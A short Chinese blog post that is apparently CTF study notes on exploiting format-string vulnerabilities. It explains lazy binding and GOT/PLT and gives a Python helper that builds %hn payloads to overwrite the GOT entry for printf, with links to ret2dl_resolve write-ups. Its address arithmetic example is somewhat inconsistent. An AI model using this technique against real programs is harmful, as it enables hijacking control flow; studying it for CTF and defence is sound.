字符串格式化漏洞利用技巧

在某个函数被调用之前,由于linux动态链接的时候采用的是延时绑定的机制
因此某个函数在被实际调用之前,它的got表存储的内容实际是plt的下一条指令,因而可以用gdb调试查看它的值。而字符串格式化漏洞就可以改变这个值,让函数跑到自己控制的跳转。

image.png

备注:hn可以修改双字节的内容,hhn修改单字节的内容

并且高地址对应的是高字节,即我们要修改got['printf']的时候,需要把printf+2

got['printf'] = 0x6012B8

修改成 0x60268B的时候,只需要让
got['printf'] = 0x268B
got['printf'] = 0x60

def write(addr,value):
    offset_list = [0,16,32]
    for index,offset in enumerate([0,16,32]):
        wait_to_write = (value >> offset) & 0xffff
        payload = ('%' + str(wait_to_write) + 'c%8$hn').ljust(16,' ') + p64(addr + index*2) + p64(0xaabbccdd)
        io.send(payload)
        time.sleep(0.2)
        io.clean()

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop/
https://potatso.xyz/2018/04/07/pwn%E4%B9%8Bret2_dl_resolve/
https://vang3lis.github.io/2018/09/30/ret2_dl_runtime_resolve/

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 蛰伏半年多,再次回归工作岗位,身体已经少了一个零件,还有亮着黄灯的隐患内心惴惴不安!这一年,很多熟悉的大师们,陆陆...
    若水910阅读 1,287评论 0 0
  • 我们经常遇到的情景 我不喜欢现在的工作,我想要学习 xx,到时转行。可是,我了解到情况是,xx 很难学。我担心我学...
    xiaojianxu阅读 3,863评论 0 3
  • 足矣。
    小源_Milo阅读 1,248评论 0 3